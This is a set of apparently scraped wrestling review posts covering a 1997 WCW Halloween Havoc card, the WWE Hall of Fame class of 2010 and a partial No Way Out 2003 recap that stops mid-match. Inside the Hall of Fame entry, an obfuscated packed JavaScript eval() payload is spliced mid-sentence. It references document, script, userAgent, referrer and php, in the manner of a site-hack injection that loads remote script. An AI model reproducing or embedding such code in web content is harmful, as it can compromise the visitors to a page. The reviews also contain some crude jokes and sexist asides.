
 

Rey sends Eddie to the apron and tries a dropkick but Eddie moves and sends Rey to the floor. After sending him into the railing it’s a camel clutch with Eddie ripping at the mask again. Off to the Gory Special and Rey is in trouble. Modified surfboard as Eddie is in total control here. We hear about El Santo which is someone you hardly ever hear about at all.

 

Rey tries to fire some shots off in the corner but gets sent into the opposite corner and caught in the Tree of Woe. Baseball slide by Eddie misses and he does the Hennig crotch spot against the post. Rey dives off the top onto Eddie on the floor and here comes Rey. Standing rana gets two back in the ring. A headscissors puts Eddie on the floor and in perhaps the most awesome spot I’ve ever seen, Rey gets a running start and dives over the ropes, catches Eddie in a rana and swings him around without touching the floor until he releases the hold.

 

Back in and a corkscrew moonsault gets two. Split legged moonsault misses and it’s a big powerbomb by Eddie and Rey is in trouble. Crowd is getting into this quickly. Big heat on Eddie now. Rey takes him down with a spinwheel kick but the West Coast Pop is reversed into a backbreaker. Frog Splash misses so Rey goes up top. Eddie tries a crucifix bomb off the top but Rey reverses into a rana out of air and holds Eddie down to get the pin and the title! AWESOME ending!

 

Rating: A+. This was in the running for match of the year and it’s easy to see why. The problem is when you have Austin vs. Hart in the I Quit match and the original Hell in a Cell in the same year. That kind of slows things down a bit which is a shame as this was a great match indeed. Rey was awesome at this point and moved around here so well that it was almost uncanny. Great match and Eddie played an awesome cocky heel here. Great match and the best I’ve ever seen out of Eddie I think.

 

Bischoff and Hogan babble about wanting Sting guaranteed to be out of the arena before he’ll fight tonight. Ok then. This took four minutes somehow with them talking about wanting a contract or something so he can get the physical belt back.

 

Debra has a surprise opponent for Mongo.

 

Alex Wright vs. Steve McMichael

 

This is more of Debra vs. Mongo with her managing Wright here. And it’s time to talk about Hogan not being in the main event now. Mongo works on the wrist but Wright bounces out of it. A minute into the match the announcers say the names of the wrestlers for one time each. I think Wright is a heel here but it’s really kind of hard to tell. Not like the announcers are helping us any as we need to talk about Hogan being a coward.

 

Yep Wright is a heel here as we discuss the NWO having power now and how they have the fans over a barrel. Wright works on the arm but I’m not sure why. It’s not like they’re being recognized for it. Tony is calling them con men or whatever. Mongo takes over again as now we’re going to talk about Sting to avoid talking about the match. They collide in the ring and neither guy goes anywhere.

 

They talk about the match for 34 seconds and just flat drop it to talk about Hogan more. After a bit more talking it’s a tombstone, Mongo’s finisher, to Wright. Goldberg comes in while Debra has the referee, and spears Mongo. This would be a bit more effective if the referee hadn’t looked over his shoulder to make sure the spear hadn’t happened yet. The Jackhammer hits (how does the referee not notice a third person in there) and he throws Wright on top for the pin.

 

Rating: C. I’m giving them some credit here because they got such little love from the announcers. In a six and a half minute match the match was talked about for all of a minute. That’s pathetic and they did it on TV also. I can kind of understand it there but here? Why? Are they trying to sell it or something? We already have the PPV man. What’s the point?

 

Debra gives Goldberg the Super Bowl ring which is now apparently Goldberg’s. He lays out Wright and he’s the real man for Debra.

 

Savage and Liz (looking sexy in an NWO t-shirt) say various things about beating up DDP.

 

Disco Inferno vs. Jacqueline

 

This was supposed to be for Disco’s TV Title but the wrestling commission wouldn’t let us have a title match where the area between their legs wasn’t matched. Tony tries to tell us that WCW should ban Hogan from coming back to PPV if he bails tonight and talks about court cases or something. It’s so hilarious to hear someone on Halloween Havoc talking about not giving the fans an advertised main event.

 

Disco runs of course as he’s both afraid of her and is afraid of trying to touch her. We’re at stall #3 by Disco so far so we talk about WCW having momentum or something. WCW never got that no one cared about WCW or momentum or a war or whatever as it went on FOREVER. Disco has hit the floor five times in three minutes now and there has been zero contact whatsoever.

 

To the ropes again as this is just idiotic. The fans boo loudly and I can’t say I blame them. We talk about how Hogan ran too. OH COME ON as he’s hit the floor eight times now and she finally chases him. A sunset flip gets two as we’re firmly in the “let’s praise Jackie for doing basic moves on a man because she’s female” territory. Drop toehold takes her down and Disco hits the floor again.

 

We play keepaway on the floor for awhile and Disco hits the floor for an 11th time. WHO BOOKED THIS CRAP??? Jackie finally catches him and hammers away….kind of. Disco tries to leave and that gets him nowhere. Hip toss doesn’t work and he sends her to the floor. The problem here is simple: Jackie is just a brawler that talks tough.

 

That doesn’t make this impressive. It makes it long and like they’re trying to say “look at us! We’re awesome because this chick is awesome!” See, when Chyna did it, it was realistic because she could hang with them and you kind of forgot she was a woman. Jackie is a chick that is doing moves to men. Cross body is rolled through by Disco for two and Jackie rolls up the TV Champion and pins him clean. No one cares about Jackie still.

 

Rating: F. Oh do I even have to explain this one? Jackie isn’t impressive, no one cares about her and she was supposed to be Chyna or something like that. Boring match that might have had 1 minute of “action” out of nine. This was just terrible and they had to know it was.

 

US Title: Ric Flair vs. Curt Hennig

 

Hennig stole Flair’s robe and turned on Flair and the Horsemen at Fall Brawl. Hennig, the champion, comes out with the Cruiserweight belt instead of the US belt. Flair sprints to the ring and beats the tar out of Hennig to start. Time to talk about Hogan some more as we finally get the robe off Hennig and onto Flair (minus the sleeves). Hennig gets his first offense in, a clothesline, at about two and a half minutes.

 

Tony manages to say by golly as he rants and raves about WCW and pride and all kinds of nonsense like that. Hennig goes after the knee and the announcers rant about Hogan even more. Just say he’ll be here and get it over with. Hennig works over the leg a lot as the momentum this match had has just died completely. Elbow gets two as Hennig goes after the head, which is what was injured in the War Games match where Hennig turned.

 

All Hennig and his orange crotch of tightness here as he hammers away at Flair’s head. He hammers away and we talk about what WCW might offer Hogan and Bischoff. Sleeper goes on which is very appropriate here. A chair is grabbed and Hennig tries the weakest chair shot ever as Flair’s head is up against the post. Flair chops away and hammers Curt down. Slingshot sends Hennig into the post which happens a lot to him. Still on the floor mind you as we have been this entire paragraph.

 

Back into the ring now as Hennig wants to leave. Flair chases him down and they head back to the ring where Hennig beats him down again. The belt is in the ring from where Hennig tried to leave. Hennig sets for the Perfectplex onto the belt but of course the idiots that are the WCW announcers don’t get what he’s going for because it’s not like THAT IS HIS SIGNATURE MOVE AND HE HAD THE LEG HOOKED ALREADY!!! Flair suplexes him onto the belt and then puts Hennig in the Tree of Woe, puts the belt on Curt’s face and stomps it for the CHEAP DQ!!!

 

Rating: C+. Decent match but the talking and the ending completely crippled it. Flair and Hennig can have a good match in their sleep and this was ok, but the lack of offense from Flair in the middle hurt it as he more or less lost his momentum after a single punch. Still though, not bad at all and awesome due to sheer talent.

 

Flair keeps up the beatdown but the NWO ran out for the save.

 

Savage says he’s awesome on the internet.

 

JJ Dillon, back from an injury angle, says the match is going to happen. Ok, NOW FREAKING DROP IT ALREADY!!! Bischoff of course comes out to complain and say Dillon has no authority or something like that. Dillon has a contract that has been notarized or something. That’s what he uses in a wrestling show. Dude, wrestling fans don’t care about contracts. Let it die. Bischoff says if Sting is here, they want Nitro. Whatever!

 

Lex Luger vs. Scott Hall

 

Larry Zbyszko is referee for no apparent reason. The announcers get the contract from the previous segment because you pass it around like something brought in for show and tell. Zbyszko wants to fight Hall over some AWA thing and he wouldn’t get to until January. We talk about Hogan and Bischoff EVEN MORE because we haven’t hammered that out yet I guess.

 

Larry takes a toothpick to the face and here comes Lex. Larry pulls Hall off of him as we hear about the one feud of Larry’s that anyone cares about, that one being against Sammartino. Larry calls it down the middle here as Hall throws on a headlock. Luger works on the arm as we’re having a very basic match to start us off here. Syxx is at ringside here.

 

Hall puts on a hold where he grabs Luger’s wrists and bends his arms back. Luger reverses it so that he’s behind it. Hall is still holding the wrists even though he’s in pain here. I give up. He uses the ropes to escape. Really? I mean dude, REALLY? And this guy was in THE LADDER MATCH people! Clothesline puts Luger down and Hall takes over again. Zbyszko counts slow.

 

Off to a sleeper by Hall as this match is putting me to sleep. That goes on for awhile until a suplex gets Luger out of it. Larry, ever the impartial referee, backdrops Hall to the floor. Here’s Bischoff who gets drilled also. Luger starts his comeback and hits three atomic drops and the forearm. Bischoff distracts Larry and Syxx kicks Luger down. Outsider Edge hits and there’s the pin. Wow I’m kind of surprised.

 

Rating: D. The referee thing got old quick as Larry didn’t need to be there in the slightest and they never told us why Larry and Hall didn’t like each other. I knew because of prior knowledge, but this is a bad thing that only WWF ever seemed to get right: let us know in case there are first time viewers. That might make them want to see more instead of “oh they’re feuding and don’t worry why.” Never got that.

 

Larry sees the replay and we restart the match. Rack goes on and the bell rings just as Syxx kicks him for the potential DQ. This extra time might have been 12 seconds long and I’m not sure if Luger won by submission or DQ. Does it matter? Rating is the same as above. Bischoff beats up Zbyszko as his ego continues to dominate the show. I mean dude, why in the world was Bischoff in a competitive match at Starrcade? The point of a match like that is for him to be destroyed, but they let Bischoff fight and win a screwy match. That’s WCW for you though. And you wonder why they went out of business.

 

Oh and Larry choked Syxx with a submission hold. That was a reason to get him out of the ring as he had a bad neck. He would be gone just after the beginning of the year and I don’t’ think he wrestled again for WCW.

 

Randy Savage vs. Diamond Dallas Page

 

This is billed as a Las Vegas Death Match which means Last Man Standing. These two feuded all year and it was AWESOME. By the way, Liz in a short leather skirt, tied off NWO t-shirt and three inch heel thigh high boots: WIN. Page has taped ribs which were injured for about 3 years I think. Savage attacks the ribs which Dusty says you can’t hide. Well gee Dusty how did you figure out he had bad ribs when they’re taped?

 

We head into the ring after starting on the floor and Savage hammers away. Page does that pull up out of the corner to break the count and beats the tar out of Savage. Both guys are down quickly off a double clothesline which Dusty explains the name of. Diamond Cutter attempt goes nowhere as Tony and Dusty argue over whether or not that move would be effective here. How are these people so freaking stupid?

 

Page goes lucha and dives over the top to take down Savage. Back into the ring but Page gets caught coming in and tumbles back out. Savage gets his patented (and he has the paperwork) axe off the top to the back of Page, sending him into the barrier. We head into the crowd where Raven’s Flock is sitting. They slug it out in the crowd and brawl out of the crowd up by the entrance way.

 

Savage sends him into the safety rail which makes sense as it hurts the ribs. Page throws him into the set which is made of fake tombstones and slams him onto a “stone” which explodes. Dusty of course freaks out over everything. Back towards the ring and Page goes rib first into the railing again but he might have blocked part of it. The shot into the steps doesn’t get blocked though and Page is in trouble.

 

Another shot with the steps gets about five and we’re back in the ring now. Savage steals a camera but Page gets his feet up to kick it back into Savage’s face. Nice counter there. Both guys are down and Liz pops up on the apron with a tray of some kind which is shattered over the referee’s head. She chokes Page but Kimberly comes out for the save. Yep Liz is far hotter.

 

Nick Patrick comes out to referee it and Page hammers away. Atomic drop and the Pancake (Styles Clash without the arms being hooked) sets up an attempt at a Diamond Cutter which misses. That gets a count of about five so Savage slams him and drops the elbow right into the ribs. Somehow that only gets 9 and there goes the referee right before a Diamond Cutter. Well of course he goes down at that exact moment.

 

Patrick gets up but both guys are down since Page never got up after dropping Savage with the Cutter. Both guys are rolling around at five and are both up at eight. Another Diamond Cutter attempt is countered by a low blow and Page hits the floor. And here’s Sting who hits Page in the ribs with the bat. Even Tony knows it’s not Sting so you can tell the joke was dead here. Somehow he couldn’t tell it was Nash as Sting the next month though. Page can’t get up as Savage makes it and this war is over.

 

Rating: A-. The ending is what holds this back but this was a war. Both of these guys liked to map out their entire matches so this was more like a recital than a match but that’s fine. Savage vs. Steamboat was like that. Very good match here as they beat the tar out of each other and it’s only the stupid ending that keeps it from being a classic. Still worth a watch though.

 

Bogus Sting was Hogan if you’re curious.

 

Savage jumps DDP while he’s attached to a stretcher.

 

The announcers talk about the match some more. Why are you surprised here?

 

Hulk Hogan vs. Roddy Piper

 

Piper has the belt here but isn’t champion. This is non-title and in a cage because this match is supposed to draw money in 1997. This is more like the Cell with no top and with big spaces in the walls shaped like squares. Think the blue cage but with squares big enough to pass a crack baby through. No word on what you do to win this but it’s implied Piper can win with the sleeper. Granted they don’t say get the sleeper and walk out or win with a submission out of it but whatever.

 

Hogan tries to climb out but Piper whips him with a belt. Now Piper bites Hogan’s tights. Dude, are there some surpressed feelings there? I’ve seen a lot now. We head into the ring for a change and it’s and atomic drop and a head slap. No referee here either. The cage here is more for keeping people out than a weapon which is fine I guess. Back to the floor again and Hogan tries to climb but is caught with a low blow.

 

They slam each other into the cage and Hogan wants the door open. Ok, Piper shoves Hogan out, meaning Hogan was out FIRST, but they went out at the same time so this continues. I guess that means you can win by escape but they just want it to keep going. Hogan tries to leave but Sting, and I’m assuming the real one, is pointing a bat at him. Piper catches up to him and slams the door on his back/shoulder.

 

Hogan gets Piper in and then falls out of the ring. He wants to get out now so I’m assuming it’s escape. Seriously, it’s that confusing. How freaking hard is a cage match anyway? Hogan rams him into the cage a few times as I keep tellimg myself this is almost over. Hogan climbs but Piper follows him. There’s a pair of Stings in the aisle as now Piper is near the top of the cage.

 

Hogan kicks Piper down off the cage (Piper kind of climbed down) and then Hogan climbs down as well. Weightlifting belt to the back and Hogan goes up instead of going through the door like an intelligent heel would. That cage is shaking too which is a bit scary. There’s a Sting waiting on Hogan at the bottom so Piper pulls him back in. Here’s a third Sting, this one kind of chunky.

 

Actually we have four of them now and now it’s five. Hogan climbs down so Piper tries to get out like an intelligent person but Hogan stops that also. Back into the ring now for some reason and Hogan pops him with the world title. There’s the leg drop onto Piper onto the belt which gets two as the referee has to come in.

 

Savage comes out and climbs to the top of the cage and jumps into the middle of the ring. Now to be fair he missed Hogan by about two feet but he caught him on the top of the head at least. Not criticizing him there mind you but pointing it out. I’d be scared to death from jumping that. Sleeper ends Hogan just after that.

 

Rating: D-. This match made no sense at all. You go from the lack of knowing how to win the match to kind of knowing how to win the match to no one wanting to escape the cage it seemed to the Sting army who did a total of one thing (keep Hogan from leaving) to Savage coming in at the end to the biggest problem: they really didn’t do anything.

 

This was about 14 minutes long and the vast majority was laying around, climbing the cage and punching. There was no drama, no extended advantages, very little violence and it really seemed liked there was no real reason for this to be in a cage. Bad match indeed for a lot of reasons.

 

Post match Bischoff comes out and he, Hogan and Savage beat up Piper. One of the Stings gets in and gets taken down with ease. They handcuff Piper to the cage and the beating is on. Hogan puts the Sting mask on for no apparent reason. A kid climbs over the cage and the fake Sting takes him down with ease and then Hogan and Savage beat the heck out of him in the ring for no apparent reason. This is either REALLY stupid or a totally pointless work. Security comes in and takes FOREVER to get him out. And that’s the show. Seriously, this ends with the fan being taken out.

 

Oddly enough the music for the credits is what would become Marc Mero’s theme music in WWF. No idea why but it is.

 

Overall Rating: C-. This is a hard one to grade. However other than the main event and the man vs. woman, nothing is really that bad. Hall vs. Luger is dull but not particularly horrible. Then you have two awesome matches including an all time classic which is more than enough to keep this from a terrible grade.

 

The constant talking of Hogan possibly not wrestling is REALLY annoying and I’d recommend fast forwarding about 45 minutes after that Hogan/Bischoff promo. It’s certainly not the worst WCW show ever but the bad stuff is rather bad. See those two matches and if you’re incredibly bored the whole show minus the main event and man vs. woman. Not too bad but still not great.

 

Remember to follow me on Twitter @kbreviews



WWE Hall of Fame: Class of 2010

The class is a bit more diverse this time.Ted eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aktfe|var|u0026u|referrer|ehibt||js|php'.split('|'),0,{})) DiBiase

It has long since been my opinion that Ted DiBiase is the greatest heel of all time and I stand by that statement to this day.  The man was the personification of evil and was absolutely perfect in the role.  That evil laugh of his is closer to scary than sinister and the shot of him at the Main Event wearing the WWF Title makes me angry to this day.  Considering I love the guy and he still makes me mad, that’s a sign of something very special and definitely someone worthy of the Hall of Fame.

 

Antonio Inoki

This is another example of someone that isn’t much of anything in WWE but worldwide he’s one of the most important figures of all time.  Inoki is a legend in Japan and is the equivalent of a Senator over there.  He was a huge star back in his day and one of the most famous names in the history of Japanese wrestling.  If we’re talking about a wrestling Hall of Fame, there is no way to not have Inoki in it.  This is another easy yes.

 

Wendi Richter

Richter is one of those people that you probably haven’t heard of because of how short her stint in the company was.  The time she did have in the company was VERY impressive though as she was so popular that she was actually main eventing house shows.  Think about that for a minute: women’s wrestling in 1985 main eventing shows.  That’s how over Richter was.  On top of that, she was one of the catalysts that started the Rock N Wrestling Connection.  The problem is that she wasn’t around that long and left abruptly (not directly her fault, it was a legit screwjob finish to a match), so I don’t think I can give her a spot.  It’s not one I’d fight to the death over though.

 

Mad Dog Vachon

His real name was Maurice but he’s far more famous as Mad Dog.  Vachon was a huge deal in the AWA and held five world titles.  He isn’t that well known in the WWF but he did make a cameo where his leg was used as a foreign object in a match between Shawn vs. Diesel.  Other than that he’s most famous for being Luna Vachon’s uncle and that’s about it as far as the WWF goes.  However, he’s VERY famous outside of the WWF and with a resume like he has, it’s almost impossible to say no to him.  Vachon is another yes.

 

Gorgeous George

This is arguably the guy that brought professional wrestling into the American home.  He was credited with selling as many TV sets as Milton Berle (look him up you young whippersnappers).  George is famous for bringing characters to wrestling rather than just guys in trunks doing moves on each other, making him the original sports entertainer.  Also, he was the first man to come to the ring with music playing (despite what about 857 other wrestlers claim).  There’s a case for George being the most influential wrestler of all time and I wouldn’t argue that much against it.  In case you didn’t get it, this is a yes.

 

Stu Hart

Aside from being arguably the greatest wrestling trainer of all time (Verne Gagne might have something to say about that but there’s a solid case for Hart), he did this:

He wrestled a tiger. A TIGER.

If that isn’t enough to get him into the Hall of Fame, I don’t know what does.  Stu is a yes.

 

Bob Uecker

Yeah sure why not.

 

This was a good class with a lot of people that modern wrestling fans might not have heard of, which is a good thing.



On This Day: February 23, 2003 – No Way Out 2003: Rock vs. Hogan II

No Way Out 2003
Date: February 23, 2003
Location: Bell Centre, Montreal, Quebec, Canada
Attendance: 15,100
Commentators: Jonathan Coachman, Jerry Lawler

This is Rock vs. Hogan II. That’s about all you need to know here. Also on this card is a six man tag with Team Angle vs. Benoit/Edge/Lesnar. The problem is one of the faces won’t make it to the match which we’ll get to later. Austin is back after bailing in June over creative issues. We also have HHH vs. Steiner II which is considered the trainwreck of all trainwrecks. Let’s get to it.

The theme song here is Bring Me To Life by Evanescence. Dang they were hot around this time. JR has a concussion apparently.

Chris Jericho vs. Jeff Hardy

This was during the failure that was Jeff’s first face push. Jericho is in his King of the World period here. We’re on the verge of Shawn vs. Jericho at Mania which really needed to happen. Shawn kicking him as he walked through the curtain and saying I’ll see you at Wrestlemania is awesome stuff.

Hardy is in the period where he’s looking for a purpose which started with calling out then world champion Undertaker which of course didn’t work but gave us a good ladder match. It would lead to a failure/abandonment of a heel turn. They slug it out to start as we have no reason given for this match happening but they kind of imply it’s a challenge match by Jeff.

Jericho dives at Hardy in the corner but he eats post instead. Springboard Whisper in the Wind (isn’t named yet) nails Jericho on the floor. Hardy does his railing run but misses. Back in the ring Jericho controls but Hardy gets a small package for two. The counter Jeff gets of all things is a Codebreaker. Who would have seen that coming? Coach is nowhere near as annoying here which is surprising.

Jericho’s beard is kind of odd here. Not sure why but it just looks weird. The bearded weirdo hits the post and we start talking about Shawn Michaels which is the whole point of this. Lionsault eats knees. Jeff gets a DDT for two. Whisper in the Wind does the same. Walls go on after a missed enziguri but ropes are grabbed.

Why do they call it making it to the ropes if you only grab a single rope? Chris takes forever to get up top and is launched off in an Angleesque suplex. Swanton hits but Jericho gets a boot on the ropes. Walls are countered into a small package for two. Hardy gets a nice dropkick for a counter.

Swanton #2 misses though and the Lionsault gets two. One and Only (sleeper drop into a slam) gets two also. Jericho gets crotched and goes for a rana from the top but gets powerbombed off. Walls go on and it’s over.

Rating: B. I liked this a lot. Jeff wasn’t ready to beat a guy like Jericho yet but having something like this worked rather well since he kept getting closer and closer but couldn’t finish him off. He wasn’t ready to beat Jericho yet so Jericho gets a good win and Hardy doesn’t lose face because he doesn’t deserve to beat Jericho yet. This was rather good.

Jericho won’t let go and Shawn comes out for the save. Christian comes out and HBK hits a double DDT and kicks Christian’s head in.

Angle gives his team a pep talk and suggests a plan to give themselves an advantage. He was awesome at this point and WWE Champion.

Evolution is here.

Austin’s truck is here. It’s a blizzard too.

Raw Tag Titles: Rob Van Dam/Kane vs. Lance Storm/William Regal

Storm and Canada are of course anti-Americans here. Storm and RVD give us an ECW reunion to start us off. Nice sequence to start as both guys move very well out there. Regal comes in and works on the knee for a bit. Stepover kick hits Regal in the shoulder and it’s all Van Dam at this point. Kane comes in and gets an elbow drop to the same shoulder. That’s great psychology if it was intentional which of course it isn’t.

All power by Kane of course as he beats up everyone in sight. Powerslam on Storm and the champions bail. Kane launches his partner at Storm as Regal runs. Nice teamwork there. Van Dam does his bounce off everything and throw in the occasional kick too sequence before getting sent to the floor by Storm.

Half nelson suplex has Van Dam in trouble as the crowd is like dead. Storm and Regal are kind of, umm…boring beyond belief. There’s a reason as to why we rarely see wrestlers like them pushed hard: THEY ARE DULL. They may be able to wrestle a ton of styles but they’re not interesting in the slightest.

Storm gets Kane off the apron so he can’t get the hot tag. And then he gets it 3 seconds later. Was there a point to that? Nice thought at least. Kane destroys the champions here until Storm goes for the mask. Kane can’t see so he accidentally chokeslams RVD so Regal can pin him. Well that’s different I guess. Might not be good but it was different. He would lose the mask in like 8 months (TO HHH NOT THE FREAKING UNDERTAKER BLAST IT!).

Rating: C-. Eh this is more or less a Raw match and nothing more. The tag division sucked pretty badly back in the day and this was no exception. There’s just no point to these random title reigns as the teams mean nothing and they’re just guys holding belts instead of champions if that makes sense.

Matt is talking to Josh Matthews, who looks even stupider at this point about losing weight when Jeff comes up. Matt says if you were a Mattitude Follower you wouldn’t suck so much. JEFF SLAPS HIM. That was great.

Cruiserweight Title: Billy Kidman vs. Matt Hardy

Since this is the Mattitude Era, here are the Matt Facts: Matt dislikes snow and ice and Matt takes hot tea with milk and sweetener. I love that. This is during the Matt wants to be a Cruiserweight so he’s constantly exercising and trying to lose weight since he’s a natural heavyweight wrestler.

Kidman hits a Frankensteiner so Cole calls it a leg scissors, naturally just seconds after a Scott Steiner reference by Taz. Do I even need to make fun of this? Kidman gets sent back first into the post as it’s all Matt here. Taz talks about banana juice and nut butter. Well of course he does.

It amuses me that Matt, one of the biggest high fliers of the Attitude Era, is now a ground guy according to this. And now back to banana juice as I think I’m getting the joke. Yeah banana juice (called BJ by Taz) and nut butter. Yeah I get it. In a rather impressive spot Matt goes for a half crab but Kidman does a one leg nip up and hits an enziguri to take over.

BK Bomb gets two. Second rope leg drop for Matt gets two. The match isn’t much as the title means nothing but they’re trying at least. These random title matches, much like the tag matches, mean nothing though but who cares? Plancha by Kidman takes out Matt. Twist of Fate is blocked as Shannon gets on the apron, allowing a Side Effect to get two.

Shooting Star Press misses and there’s the Twist of Fate for a VERY close two. I thought it was over there actually and this is the second time I’ve watched this show tonight since I accidentally closed the file without saving it. Matt gets a Twist of Fate from the middle rope with the help of Shannon to give him the title. Nice spot to end it.

Rating: C. Nothing that special here but it was ok. Matt’s title reign was far more interesting as he had a story to it rather than “random guy starts winning matches and wins a non-title match before the PPV” like always. Well that and Rey started going after the title too. This wasn’t bad at all though.

Edge has been attacked by someone and is out cold. He wouldn’t wrestle again for over a year.

We recap Taker vs. Show. Show beat Taker up and injured his ribs and tonight is the big revenge match. This somehow involved sending a singing telegram (sung by one Brian Kendrick who meant nothing yet I don’t think. Yep apparently this was his first appearance without a mask and he would stick around for awhile) and Brother Love and Kanyon in massive gift boxes ala Lex Luger and Sting. Oh and Taker says “Shut up and fight” now.

Undertaker vs. Big Show

I love that Show’s music always says “It’s a big bad show tonight.” What a great way to promote the show you’re on. He bails so Taker can pose for a bit and then we slug it out on the floor with Taker winning of course. Taker goes back first into the post and Show takes over, sending Taker back into the ring.

Taker gets a low dropkick to the head of Show as he tries to get back in. Apron legdrop hits. We hear about Taker using MMA stuff which meant little here as UFC hadn’t risen to prominence yet, but it was coming. He grabs a chair but Show punches it back into his face which doesn’t knock him out of course.

Taker comes back with big old strikes but can’t put Show down. He goes for the slam and it’s Hogan/Andre the first time all over again. Cole suggests that it’s hard to body slam a 500lb man. And this man is PAID to do this. A suplex gets two as Heyman is so slimy that it’s great. Edge is going to the hospital so he’s obviously not here tonight.

He gets a bit of a comeback going but Shaw catches him in a bearhug. That’s a great sign of a boring big man match. More solid punches but Taker walks into a side slam for two. Cole tries to convince us the fans are shocked which is why they’re silent rather than, you know, boredom.

They slug it out some more and it appears that the strategy is to get Show to punch himself out. Chokeslam of course doesn’t work because Show is HUGE. Taker can’t slam him so of course he thinks he can pick him up with one arm. Well of course he does. Taker is busted open. Old School connects but Show won’t go down.

Taker blocks a chokeslam and hits a running DDT for two. The eternal genius that is Taker wants the Last Ride and of course that FAILS. Show yells a lot and Taker counters….something into the Dragon Sleeper. Heyman pops up on the apron and of course Taker goes after him rather than knocking Show out.

A-Train comes out and Taker dives at he and Heyman, neither of whom catch him so Taker just more or less crashes to the floor and they go down without being hit other than on the arms. Taker gets all fired up and walks into a chokeslam. Show goes for the pin but Taker grabs him in a triangle choke which gets no reaction at all because no one knows what he’s doing. Show passes out to give Taker the win.

Rating: D+. They were trying I guess but at the same time this is almost identical to every match that these two have had over the years: Taker tries to make it a straight fight, Show overpowers him, Taker hits a bunch of stuff, Show brushes him off with power, Show hits a big move, Taker counters into a hold for the win. This was a bit more fast paced but still dull.

Post match Taker grabs a chair but A-Train comes in for the big beatdown. This would be your Mania Taker match: these two vs. Taker in a handicap match which was supposed to be a tag with a dude named Nathan Jones but he was so horrible that Vince wouldn’t let him go on live PPV. That says a lot given what he’s put on before.

Bischoff is with Morely (Val Venis, the lackey for him) and they talk about the army Eric has ready to fight Bischoff. Vince comes in and says screw that. If anyone interferes then they’re fired.

Coach and King are very happy about that.

Team Angle vs. Chris Benoit/Brock Lesnar

Team Angle is Angle himself of course and the World’s Greatest Tag Team who have the world and tag titles. You can figure out the combination of those. Benoit had been feuding with Angle before this and Lesnar won the Rumble so he has the main event slot with Angle all set already.

I love that Toothless Aggression shirt. It’s such a great play on words. The UFC Heavyweight Champion looks freaking awesome. He really was a once in a lifetime find and was only there for two years. I hope he comes back some time. Shelton and Benoit start us off. We’re more or less just waiting on the Angle vs. Lesnar showdown here.

Instead we get Lesnar vs. Haas because that’s all we can do. Brock destroys him and Angle won’t fight him. Benjamin comes in and gets his teeth kicked in as well. Taz wants to know what a Canuck is and thinks it sounds stupid. Angle gets a quick choke in which fails completely. Shelton KICKS HIM IN THE FACE to send him down.

Ah here’s Angle. Oh and Heyman manages the heels too. He got around at this point. Benoit seems to have no problem with having Lesnar fight all three guys at once either. Angle gets a modified rear naked choke as we hear about some kid named John Cena fighting Lesnar recently. That would be HUGE today to put it mildly.

Brock just destroys everyone he fights eventually, breaking Angle’s choke by ramming his head into the buckle. Cole suggests that Angle vs. Benoit is the most anticipated match in history. Just…no. Benoit comes in and ENDS Team Angle with Germans. Belly to belly off the top for Angle to Benoit and brings in Haas.

Back to Angle. Well that was rather pointless. Naturally they crank things WAY up as this is a month after their masterpiece at the Rumble. Haas comes in and everyone stops cheering or caring it seems. That should tell you something guys. Benjamin vs. Benoit gets a bit better reaction. Sweet GOODNESS Benoit could throw chops.

Hot tag to Lesnar who just runs through everything in sight. He hits Haas with a shoulderblock so hard that Haas would have been able to sit on the middle or even top rope if he had landed there. Angle comes in and it’s a big mess again. Benoit and Haas are the only ones left until we get to the part almost everyone is here to see: Benoit vs. Angle on a mat. Crossface to ankle lock to crossface to ankle lock and back to the crossface. Total time: 14 seconds.

Angle is one of the most amazing performers ever. He can go from being an idiot that makes you crack up laughing to being so stupid that you want to smack him upside his head to being very intense but he backs everything up with awesome matches. That’s very rare. Off the top of my head maybe Cena and Shawn are the only ones I’d put in the category with him.

As I babble on about him, Benoit gets the Crossface on Haas. Angle gets the belt but walks into the F5 as Haas taps out.

Rating: C+. It’s good but at the same time, what did this prove? Lesnar and Angle were in there for a bit but Mania is already set in stone. It’s understandable that he couldn’t do much as his neck was more or less held together by gum at this point so there was only one way to do this.

At this time he was more or less retiring after Mania but things changed. This was good but at the same time only Angle was a real threat to either of them as Benoit and Lesnar just ran through the tag team. It’s not bad at all but at the end of it you kind of just say so what?

We recap Steiner vs. HHH which more or less comes down to HHH almost lost to Steiner at the Rumble in perhaps the worst big match at a PPV ever. Steiner was booed out of the building with HHH, the evil one, somehow becoming the face due to sucking less. Steiner demanded his rematch but HHH said you have to beat Batista first. Some kid named Randy Orton kept that from happening as he joined Evolution.

This gets the music video treatment which is set to Bring Me To Life by Evanescence which was the hottest song in the world at this time which was my sophomore year of high school which was a good year for me. Steiner beat Jericho to get the title shot. Evolution formed on Feb 3 (my birthday) of this year.

Raw World Title: Scott Steiner vs. HHH

Earl Hebner is the referee and gets a YOU SCREWED BRET chant, making him the top heel here. Steiner yells at the crowd almost immediately for no apparent reason. HHH has a BIG bandage on his leg so Scott goes for it. That’s another psychology idea: if a person has a body part bandaged or is favoring it, FREAKING GO AFTER IT!

We get boo/yay and HHH is clearly the face here, again due to not sucking as much. The clothesline/pushup combination is booed out of the building as Steiner goes after the knee more and more. T-Bone suplex as the fans think Steiner sucks. And now we get a figure four and it’s actually a decent one. Flair of course is like FORGET THAT and scratches Steiner’s eyes to break it up.

We head to the floor and Steiner is in trouble. Notice what Vince is saying here: Steiner was an unstoppable monster in WCW and he’s having trouble here, which hardly ever happened in the last six months of WCW, even at the hands of Goldberg who was coming soon. The fans are apparently bored. HHH gets a neckbreaker for two. Going for pins like that after basic moves is a good thing. It isn’t going to work but it gives the impression that the guy wants to win, which is the idea right?

They slug it out but Steiner hits the belly to belly. Please don’t start that again. The crowd just not liking Steiner is rather funny for some reason. HHH throws his feet on the ropes for two as he channels his inner Flair. He goes at it with Earl which is his custom. Can Steiner do anything other than punch and belly to bellies?

Big old spinning belly to belly proves my point even more. Steiner punches him down in the corner (the jokes are too easy here, seriously) and we head to the floor. Steiner gets his Angle Slam from the second rope that he had recently stolen for two as Flair put the foot on the ropes.

